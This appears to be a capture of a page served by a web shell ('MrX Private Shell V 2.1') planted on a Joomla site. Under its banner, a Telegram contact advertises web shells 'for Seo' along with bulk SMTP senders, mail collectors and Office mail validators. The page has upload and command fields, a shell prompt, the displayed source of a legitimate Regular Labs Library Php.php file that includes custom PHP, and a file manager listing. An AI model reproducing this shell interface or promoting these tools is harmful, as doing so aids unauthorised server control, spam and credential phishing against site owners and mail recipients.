__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package         Regular Labs Library
 * @version         23.12.10783
 * 
 * @author          Peter van Westen <[email protected]>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

namespace RegularLabs\Library;

defined('_JEXEC') or die;

use Joomla\CMS\Application\CMSApplication as JCMSApplication;
use Joomla\CMS\Application\CMSApplicationInterface as JCMSApplicationInterface;
use Joomla\CMS\Document\Document as JDocument;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Filesystem\File as JFile;
use Joomla\CMS\Version as JVersion;

class Php
{
    static $rl_variables;

    public static function execute(
        string  $rl_string,
        object|false|null $rl_article = null,
        object|false|null $rl_module = null,
        bool    $has_own_return = false
    ): mixed
    {
        self::prepareString($rl_string);

        $function_name = self::getFunctionName($rl_string);

        if ( ! $function_name)
        {
            // Something went wrong!
            return true;
        }

        if ( ! $rl_article && str_contains($rl_string, '$article'))
        {
            if (Input::get('option', '') == 'com_content' && Input::get('view', '') == 'article')
            {
                $rl_article = Article::get(Input::getInt('id'));
            }
        }

        $rl_pre_variables = array_keys(get_defined_vars());

        ob_start();
        $rl_post_variables = $function_name(self::$rl_variables, $rl_article, $rl_module);
        $rl_output         = ob_get_contents();
        ob_end_clean();

        if ($has_own_return)
        {
            return $rl_post_variables;
        }

        if ( ! is_array($rl_post_variables))
        {
            return $rl_output;
        }

        $rl_diff_variables = array_diff(array_keys($rl_post_variables), $rl_pre_variables);

        foreach ($rl_diff_variables as $rl_diff_key)
        {
            if (
                in_array($rl_diff_key, ['Itemid', 'mainframe', 'app', 'document', 'doc', 'database', 'db', 'user'], true)
                || (substr($rl_diff_key, 0, 4) == 'rl_')
            )
            {
                continue;
            }

            self::$rl_variables[$rl_diff_key] = $rl_post_variables[$rl_diff_key];
        }

        return $rl_output;
    }

    public static function getApplication(): JCMSApplicationInterface
    {
        if (Input::get('option', '') != 'com_finder')
        {
            return JFactory::getApplication();
        }

        return JCMSApplication::getInstance('site');
    }

    public static function getDocument(): JDocument
    {
        if (Input::get('option', '') != 'com_finder')
        {
            return Document::get();
        }

        $lang    = JFactory::getLanguage();
        $version = new JVersion;

        $attributes = [
            'charset'      => 'utf-8',
            'lineend'      => 'unix',
            'tab'          => "\t",
            'language'     => $lang->getTag(),
            'direction'    => $lang->isRtl() ? 'rtl' : 'ltr',
            'mediaversion' => $version->getMediaVersion(),
        ];

        return JDocument::getInstance('html', $attributes);
    }

    private static function createFunctionInMemory(string $string): void
    {
        $file_name = getmypid() . '_' . md5($string);

        $tmp_path  = JFactory::getApplication()->get('tmp_path', JPATH_ROOT . '/tmp');
        $temp_file = $tmp_path . '/regularlabs/custom_php/' . $file_name;

        // Write file
        if ( ! file_exists($temp_file) || is_writable($temp_file))
        {
            JFile::write($temp_file, $string);
        }

        // Include file
        include_once $temp_file;

        // Delete file
        if ( ! JFactory::getApplication()->get('debug'))
        {
            @chmod($temp_file, 0777);
            @unlink($temp_file);
        }
    }

    private static function extractUseStatements(string &$string): string
    {
        $use_statements = [];

        $string = trim($string);

        RegEx::matchAll('^use\s+[^\s;]+\s*;', $string, $matches, 'm');

        foreach ($matches as $match)
        {
            $use_statements[] = $match[0];
            $string           = str_replace($match[0], '', $string);
        }

        $string = trim($string);

        return implode("\n", $use_statements);
    }

    private static function generateFileContents(
        string $function_name = 'rl_function',
        string $string = ''
    ): string
    {
        $use_statements = self::extractUseStatements($string);

        $init_variables = self::getVarInits();

        $init_variables[] =
            'if (is_array($rl_variables)) {'
            . 'foreach ($rl_variables as $rl_key => $rl_value) {'
            . '${$rl_key} = $rl_value;'
            . '}'
            . '}';

        $contents = [
            '<?php',
            'defined(\'_JEXEC\') or die;',
            $use_statements,
            'function ' . $function_name . '($rl_variables, $article, $module){',
            implode("\n", $init_variables),
            $string . ';',
            'return get_defined_vars();',
            ';}',
        ];

        $contents = implode("\n", $contents);

        // Remove Zero Width spaces / (non-)joiners
        $contents = str_replace(
            [
                "\xE2\x80\x8B",
                "\xE2\x80\x8C",
                "\xE2\x80\x8D",
            ],
            '',
            $contents
        );

        return $contents;
    }

    private static function getFunctionName(string $string): string|false
    {
        $function_name = 'regularlabs_php_' . md5($string);

        if (function_exists($function_name))
        {
            return $function_name;
        }

        $contents = self::generateFileContents($function_name, $string);
        self::createFunctionInMemory($contents);

        if ( ! function_exists($function_name))
        {
            // Something went wrong!
            return false;
        }

        return $function_name;
    }

    private static function getVarInits(): array
    {
        return [
            '$app = $mainframe = RegularLabs\Library\Php::getApplication();',
            '$document = $doc = RegularLabs\Library\Php::getDocument();',
            '$database = $db = JFactory::getDbo();',
            '$user = $app->getIdentity() ?: JFactory::getUser();',
            '$Itemid = $app->getInput()->getInt(\'Itemid\');',
        ];
    }

    private static function prepareString(string &$string): void
    {
        $string = trim($string);
        $string = str_replace('?><?php', '', $string . '<?php ;');

        if ( ! str_starts_with($string, '<?php'))
        {
            $string = '?>' . $string;

            return;
        }

        $string = substr($string, 5);

        $string = trim($string);
    }
}

Filemanager

Name Type Size Permission Actions
Form Folder 0775
ActionLogPlugin.php File 8.29 KB 0664
Alias.php File 3.22 KB 0664
ArrayHelper.php File 14.13 KB 0664
Article.php File 10.14 KB 0664
Cache.php File 4.69 KB 0664
Color.php File 1.85 KB 0664
DB.php File 15.25 KB 0664
Date.php File 5.25 KB 0664
Document.php File 13.21 KB 0664
DownloadKey.php File 3.92 KB 0664
EditorButtonPlugin.php File 5.9 KB 0664
EditorButtonPopup.php File 5.53 KB 0664
Extension.php File 14.81 KB 0664
FieldsPlugin.php File 1001 B 0664
File.php File 14.92 KB 0664
Html.php File 22.41 KB 0664
HtmlTag.php File 4.84 KB 0664
Http.php File 4.54 KB 0664
Image.php File 29.04 KB 0664
Input.php File 4.64 KB 0664
Language.php File 985 B 0664
License.php File 1.78 KB 0664
MobileDetect.php File 748 B 0664
ObjectHelper.php File 2.92 KB 0664
Parameters.php File 7.27 KB 0664
Php.php File 6.81 KB 0664
PluginTag.php File 16.31 KB 0664
Protect.php File 27.82 KB 0664
RegEx.php File 8.02 KB 0664
ShowOn.php File 1.44 KB 0664
SimpleCategory.php File 1.7 KB 0664
StringHelper.php File 22.9 KB 0664
StringReplacer.php File 13.66 KB 0664
SystemPlugin.php File 15.4 KB 0664
Title.php File 2.8 KB 0664
Uri.php File 6.06 KB 0664
Variables.php File 11.55 KB 0664
Version.php File 8.32 KB 0664
Xml.php File 1.53 KB 0664
Filemanager